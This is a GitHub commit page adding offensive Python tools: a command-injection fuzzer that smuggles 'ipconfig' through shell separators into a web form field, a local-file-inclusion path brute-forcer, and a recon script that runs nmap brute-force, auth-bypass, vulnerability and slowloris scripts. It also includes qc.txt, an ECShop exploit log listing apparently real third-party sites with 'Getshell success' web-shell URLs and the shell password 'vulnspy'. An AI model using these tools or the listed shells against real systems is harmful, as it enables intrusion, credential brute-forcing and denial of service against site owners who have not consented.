Skip to content

Commit 978bd17

Browse files
jiushilljiushill
authored
Add files via upload
1 parent 2fa013c commit 978bd17

26 files changed

Lines changed: 10566 additions & 0 deletions

‎Command injection/Commandinjection.py‎

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
import requests
2+
import optparse
3+
import re
4+
5+
6+
def main():
7+
parser=optparse.OptionParser()
8+
parser.add_option('-u',dest='zru',help='Used for fuzzy testing')
9+
(options,args)=parser.parse_args()
10+
if options.zru:
11+
url=options.zru
12+
fuzz(url)
13+
else:
14+
parser.print_help()
15+
exit()
16+
17+
def fuzz(url):
18+
cookies='PHPSESSID=70mpunbrle3mb6bfaiqieqf3p3;security=high'
19+
cookie = {}
20+
for k in str(cookies).strip().split(';'):
21+
key, value = k.split('=', 1)
22+
cookie[key] = value
23+
24+
urls=url
25+
headers={'user-aegnt':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
26+
payload=['|',';','||','&&','&']
27+
payload_b=['-','$']
28+
payload_c=['-']
29+
payload_d=['$']
30+
for p in payload:
31+
for pb in payload_b:
32+
for pc in payload_c:
33+
for pd in payload_d:
34+
pf=pc+pd
35+
datas={'ip':'127.0.0.1{}i{}p{}c{}o{}n{}f{}i{}g'.format(p,pb,pb,pb,pb,pb,pb,pb),'Submit':'Submit'}
36+
datas2={'ip': '127.0.0.1{}i{}p{}c{}o{}n{}f{}i{}g'.format(p, pf, pf, pf, pf, pf, pf, pf),'Submit': 'Submit'}
37+
reqt=requests.post(url=urls,headers=headers,cookies=cookie,data=datas)
38+
reqt2=requests.post(url=urls,headers=headers,cookies=cookie,data=datas2)
39+
if 'Windows IP' in reqt.text:
40+
print('[+] Bypass success URL:{} data:{}'.format(reqt.url,datas))
41+
if 'Windows IP' in reqt2.text:
42+
print('[+] Bypass success URL:{} data:{}'.format(reqt.url, datas))
43+
44+
if __name__ == '__main__':
45+
main()

‎ECShop-exploit/qc.txt‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
[+] Getshell success url:https://www.tukuge.com/vulnspy.php?vulnspy=phpinfo(); password:vulnspy
2+
[+] Getshell success url:http://mx006.cn/vulnspy.php?vulnspy=phpinfo(); password:vulnspy
3+
[+] Remote code execution high-risk vulnerabilities url:http://mx006.cn/user.php
4+
[+] Remote code execution high-risk vulnerabilities url:http://ec43.138z.cn/user.php
5+
[+] Remote code execution high-risk vulnerabilities url:http://gaoduanmao.com/user.php
6+
[+] Remote code execution high-risk vulnerabilities url:http://ec6.138z.cn/user.php
7+
[+] Remote code execution high-risk vulnerabilities url:http://shopex.10366.com/user.php
8+
[+] Remote code execution high-risk vulnerabilities url:http://ec19.138z.cn/user.php
9+
[+] Remote code execution high-risk vulnerabilities url:http://gegezhubao.com/user.php
10+
[+] Remote code execution high-risk vulnerabilities url:http://ec85.138z.cn/user.php
11+
[+] Remote code execution high-risk vulnerabilities url:http://www.029cup.com/user.php
12+
[+] Remote code execution high-risk vulnerabilities url:http://www.chishiba.com/user.php
13+
[+] Remote code execution high-risk vulnerabilities url:http://www.37yw.cn/user.php
14+
[+] Remote code execution high-risk vulnerabilities url:http://www.klmy.net.cn/user.php
15+
[+] Remote code execution high-risk vulnerabilities url:http://www.artchina100.com/user.php
16+
[+] Remote code execution high-risk vulnerabilities url:http://ec3.138z.cn/user.php
17+
[+] Remote code execution high-risk vulnerabilities url:https://tukuge.com/user.php
18+
[+] Remote code execution high-risk vulnerabilities url:http://tx.vkuke.com/user.php
19+
[+] Getshell success url:http://ec43.138z.cn/vulnspy.php?vulnspy=phpinfo(); password:vulnspy
20+
[+] Remote code execution high-risk vulnerabilities url:http://ec107.138z.cn/user.php
21+
[+] Getshell success url:https://tukuge.com/vulnspy.php?vulnspy=phpinfo(); password:vulnspy
22+
[+] Remote code execution high-risk vulnerabilities url:http://ec60.138z.cn/user.php
23+
[+] Remote code execution high-risk vulnerabilities url:https://www.tukuge.com/user.php

‎Greedy/Greedy.py‎

Lines changed: 252 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,252 @@
1+
import os
2+
import requests
3+
import re
4+
from bs4 import BeautifulSoup
5+
import platform
6+
import socket
7+
from dnsknife.scanner import Scanner
8+
9+
ssr=platform.system()
10+
if ssr=="Linux":
11+
sudo='sudo'
12+
print("OS:{}".format('Linux'))
13+
elif ssr=="windows":
14+
sudo=""
15+
print("OS:{}".format('windows'))
16+
17+
def greedy():
18+
banner="""
19+
________________________________________________
20+
/ _____/\______ \_ _____/\_ _____/\______ \
21+
/ \ ___ | _/| __)_ | __)_ | | \
22+
\ \_\ \| | \| \ | \ | ` \
23+
\______ /|____|_ /_______ //_______ //_______ /
24+
\/ \/ \/ \/ \/
25+
.___ _________.____ _____ _______ ________
26+
| |/ _____/| | / _ \ \ \ \______ \
27+
| |\_____ \ | | / /_\ \ / | \ | | \
28+
| |/ \| |___/ | \/ | \| ` \
29+
|___/_______ /|_______ \____|__ /\____|__ /_______ /
30+
\/ \/ \/ \/ \/ """
31+
cist=['[1]自动收集基本侦察（即whois，ping，DNS等）,NMAP端口扫描,自动暴力收集子域，收集DNS信息并检查区域传输','[2]NMap脚本']
32+
civsd={'1':wds,
33+
'2':nmap_script,
34+
'3':builtwith_looup}
35+
36+
while True:
37+
print()
38+
print(banner)
39+
for c in cist:
40+
print(c)
41+
user=input('haq>')
42+
43+
if user in civsd:
44+
civsd.get(user)()
45+
46+
def wds():
47+
user=input('查询的url是:')
48+
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}
49+
url='https://www.whois.com/search.php?query={}'.format(user)
50+
reqt=requests.get(url=url,headers=headers)
51+
bd=BeautifulSoup(reqt.content.decode('utf-8'),'html.parser')
52+
print('[+]whois信息')
53+
print('========================================================')
54+
for pre in bd.find_all('pre'):
55+
print(pre.get_text())
56+
print('========================================================')
57+
58+
guids = []
59+
guids2 = []
60+
print('[+]超级ping，判断是否有CDN')
61+
print('')
62+
print('========================================================')
63+
urli = 'http://ping.chinaz.com/{}'.format(user)
64+
headers = {
65+
'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}
66+
datas = {'host': '{}'.format(user), 'checktype': '0', 'linetype': '电信',
67+
'linetype': '多线',
68+
'linetype': '联通',
69+
'linetype': '移动',
70+
'linetype': '海外'}
71+
rev = requests.post(url=urli, headers=headers, data=datas)
72+
bd = BeautifulSoup(rev.text, 'html.parser')
73+
tr = bd.find_all('div')
74+
for v in tr:
75+
guids.append(v.get('id'))
76+
77+
for key in guids:
78+
qz = re.findall(
79+
'[0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z]-[0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z]-[0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z]-[0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z]-[0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z][0-9-a-z-A-Z]',
80+
str(key))
81+
for r in qz:
82+
guids2.append(r + '')
83+
84+
url = 'http://ping.chinaz.com/iframe.ashx?t=ping&callback=jQuery111306709270458227905_1535617821100'
85+
for v in guids2:
86+
data = {'guid': '{}'.format(v),
87+
'host': 'www.baidu.com/',
88+
'ishost': 'false',
89+
'encode': 'uZVguOxtxhFU4L0rQ|zXgulyePFesj4w',
90+
'checktype': '0'}
91+
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}
92+
reqt = requests.get(url=url, headers=headers, data=data)
93+
hostname = re.findall("ip:'.*'", reqt.text)
94+
for l in hostname:
95+
print('[+]节点:{}'.format(l))
96+
97+
print('===========================================================')
98+
print('')
99+
print('===========================================================')
100+
print('[+]dns查询')
101+
dnscer = Scanner('{}'.format(user.replace('www.','')).strip()).scan()
102+
for l in dnscer:
103+
print(l)
104+
dnscer.close()
105+
print('===========================================================')
106+
print('')
107+
print('===========================================================')
108+
print('[+]nmap端口扫描')
109+
ml="{} nmap -sS -sC -T4 -A {}".format(sudo,socket.gethostbyname(user)).strip()
110+
os.system(ml)
111+
print('===========================================================')
112+
print('')
113+
print('===========================================================')
114+
print('[+]子域名查询')
115+
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}
116+
url = 'http://site.ip138.com/{}/domain.htm'.format(user.replace('www.','').strip())
117+
reqt = requests.get(url=url, headers=headers)
118+
domain = re.findall('<a href=".*" target="_blank">.*</a></p>', reqt.content.decode('utf-8'))
119+
for i in domain:
120+
bd = BeautifulSoup(i, 'html.parser')
121+
print(bd.get_text())
122+
print('===========================================================')
123+
124+
def nmap_script():
125+
nmap_list=['[1]负责处理鉴权证书（绕开鉴权）的脚本,也可以作为检测部分应用弱口令','[2]提供暴力破解的方式 可对数据库，smb，snmp等进行简单密码的暴力猜解','[3]检查是否存在常见漏洞','[4]在局域网内探查更多服务开启状况','[5]检查vnc bypass','[6]smb扫描','[7]Mssql扫描','[8]Mysql扫描','[9]中间件检测']
126+
while True:
127+
for k in nmap_list:
128+
print(k)
129+
130+
ip=input('IP:')
131+
user2=input('选择:')
132+
if user2=='1':
133+
print('============================================')
134+
print('[+]负责处理鉴权证书（绕开鉴权）的脚本,也可以作为检测部分应用弱口令')
135+
print('[+]{} nmap --script=auth {}'.format(sudo,ip))
136+
os.system('{} nmap --script=auth {}'.format(sudo,ip))
137+
print('============================================')
138+
elif user2=='2':
139+
print('============================================')
140+
print('[+]暴力破解')
141+
print('[+]{} nmap --script=brute {}'.format(sudo,ip))
142+
os.system('{} nmap --script=brute {}'.format(sudo,ip))
143+
print('============================================')
144+
elif user2=='3':
145+
print('============================================')
146+
print('[+]检查是否存在常见漏洞')
147+
print('[+]{} nmap --script=vuln {}'.format(sudo,ip))
148+
os.system('{} nmap --script=vuln {}'.format(sudo,ip))
149+
print('============================================')
150+
elif user2=='4':
151+
print('============================================')
152+
print('[+]在局域网内探查更多服务开启状况')
153+
print('[+]{} nmap --script=broadcast {}'.format(sudo,ip))
154+
os.system('{} nmap --script=broadcast {}'.format(sudo,ip))
155+
print('============================================')
156+
elif user2=='5':
157+
print('============================================')
158+
print('[+]检查vnc bypass')
159+
print('[+]{} nmap --script=realvnc-auth-bypass {}'.format(sudo,ip))
160+
os.system('{} nmap --script=realvnc-auth-bypass {}'.format(sudo,ip))
161+
print('============================================')
162+
print('')
163+
print('============================================')
164+
print('[+]{} nmap --script=vnc-auth {}'.format(sudo,ip))
165+
os.system('{} nmap --script=vnc-auth {}'.format(sudo,ip))
166+
print('============================================')
167+
print('[+]{} nmap --script=vnc-info {}'.format(sudo,ip))
168+
os.system('nmap --script=vnc-info {}'.format(sudo,ip))
169+
print('============================================')
170+
elif user2=='6':
171+
print('============================================')
172+
print('[+]smb扫描')
173+
print('[+]smb破解')
174+
print('[+]{} nmap --script=smb-brute.nse {}'.format(sudo,ip))
175+
os.system('{} nmap --script=smb-brute.nse {}'.format(sudo,ip))
176+
print('============================================')
177+
print('[+]smb已知几个严重漏')
178+
print('[+]{} nmap --script=smb-check-vulns.nse --script-args=unsafe=1 {}'.format(sudo,ip))
179+
os.system('{} nmap --script=smb-check-vulns.nse --script-args=unsafe=1 {}'.format(sudo,ip))
180+
print('============================================')
181+
print('')
182+
print('============================================')
183+
print('[+]系统信息')
184+
print('[+]{} nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test {}'.format(sudo,ip))
185+
os.system('{} nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test {}'.format(sudo,ip))
186+
print('============================================')
187+
print('')
188+
print('============================================')
189+
print('[+]扫描smb漏洞')
190+
print('[+]{} nmap --script smb-vuln-ms* {}'.format(sudo,ip))
191+
os.system('{} nmap --script smb-vuln-ms* {}'.format(sudo,ip))
192+
print('============================================')
193+
elif user2=='7':
194+
print('============================================')
195+
print('[+]猜解mssql用户名和密码')
196+
isw=input('mssqlport:')
197+
username=input('mssqlusername.txt:')
198+
passwd=input('mssqlpasswd.txt:')
199+
print('{} nmap -p {} --script=ms-sql-brute --script-args=userdb={},passdb={} {}'.format(sudo,isw,username,passwd,ip))
200+
os.system('{} nmap -p {} --script=ms-sql-brute --script-args=userdb={},passdb={} {}'.format(sudo,isw,username,passwd,ip))
201+
print('=============================================')
202+
elif user2=='8':
203+
print('============================================')
204+
print('')
205+
print('============================================')
206+
print('[+]扫描root空口令')
207+
mysqlport=input('mysqlport:')
208+
print('{} nmap -p {} --script=mysql-empty-password.nse {}'.format(sudo,mysqlport,ip))
209+
os.system('{} nmap -p {} --script=mysql-empty-password.nse {}'.format(sudo,mysqlport,ip))
210+
print('============================================')
211+
print('[+]列出所有mysql用户')
212+
print('{} nmap -p {} --script=mysql-users.nse --script-args=mysqluser=root {} '.format(sudo,mysqlport,ip))
213+
os.system('{} nmap -p {} --script=mysql-users.nse --script-args=mysqluser=root {} '.format(sudo,mysqlport,ip))
214+
print('============================================')
215+
elif user2=='9':
216+
print('===========================================')
217+
print('[+]扫描1-65535端口')
218+
print('[+]{} nmap -p 1-65535 -T4 {}'.format(sudo,ip))
219+
os.system('{} nmap -p 1-65535 -T4 {}'.format(sudo,ip))
220+
print('===========================================')
221+
print('')
222+
print('===========================================')
223+
print('[+]检测http服务拒绝')
224+
print('[+]{} nmap --max-parallelism 800--script http-slowloris {}'.format(sudo,ip))
225+
os.system('{} nmap --max-parallelism 800--script http-slowloris {}'.format(sudo,ip))
226+
print('===========================================')
227+
print('')
228+
print('===========================================')
229+
print('[+]使用nmap 进行利用第三方的数据库或资源进行信息收集或者攻击')
230+
print('[+]{} nmap --script external {}'.format(sudo,ip))
231+
print('===========================================')
232+
print('')
233+
print('===========================================')
234+
print('[+]使用nmap 进行模糊测试，发送异常的包到目标机，探测出潜在漏洞')
235+
print('[+]{} nmap --script fuzzer {}'.format(sudo,ip))
236+
os.system('{} nmap --script fuzzer {}'.format(sudo,ip))
237+
print('============================================')
238+
print('')
239+
print('============================================')
240+
print('[+]nmap进行CVE漏洞扫描')
241+
print('[+]{} nmap --script vulscan -sV {}'.format(sudo,ip))
242+
os.system('{} nmap --script vulscan -sV {}'.format(sudo,ip))
243+
print('============================================')
244+
elif user2 or ip=='q':
245+
print('[+]退出nmap扫描功能')
246+
break
247+
else:
248+
continue
249+
250+
251+
if __name__ == '__main__':
252+
greedy()

‎LEFI/LFI.py‎

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
import requests
2+
import threading
3+
import os
4+
5+
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
6+
pathlist=[]
7+
cookies={}
8+
oklist=[]
9+
notlist=[]
10+
def LEFI(paths,url,cookies):
11+
xrl=url+paths
12+
rqts=requests.get(url=xrl,headers=headers,cookies=cookies)
13+
if not 'ERROR: File not found!' in rqts.text and not 'Wring' in rqts.text:
14+
ok='[+] bypass {}'.format(rqts.url)
15+
print(ok)
16+
elif 'login' in rqts.url:
17+
exit()
18+
else:
19+
print('[-] Not {}'.format(rqts.url))
20+
21+
def run():
22+
dk=open('dict.txt','r')
23+
for r in dk.readlines():
24+
qc="".join(r.split('\n'))
25+
pathlist.append(qc)
26+
27+
while True:
28+
user=input('url:')
29+
user2 = input('cookie')
30+
if len(user) and len(user2) !=0:
31+
print('URL={}'.format(user.strip()))
32+
print('cookie={}'.format(user2.strip()))
33+
break
34+
else:
35+
print('[-] One of the options is empty.')
36+
continue
37+
38+
cookie=user2.strip()
39+
print(cookie)
40+
for v in cookie.split(';'):
41+
key,value=v.split('=',1)
42+
cookies[key]=value
43+
44+
45+
for path in pathlist:
46+
t=threading.Thread(target=LEFI,args=(path,user.strip(),cookies))
47+
t.start()
48+
t.join()
49+
50+
print('[+] Thread running')
51+
52+
run()

0 commit comments

Comments
 (0)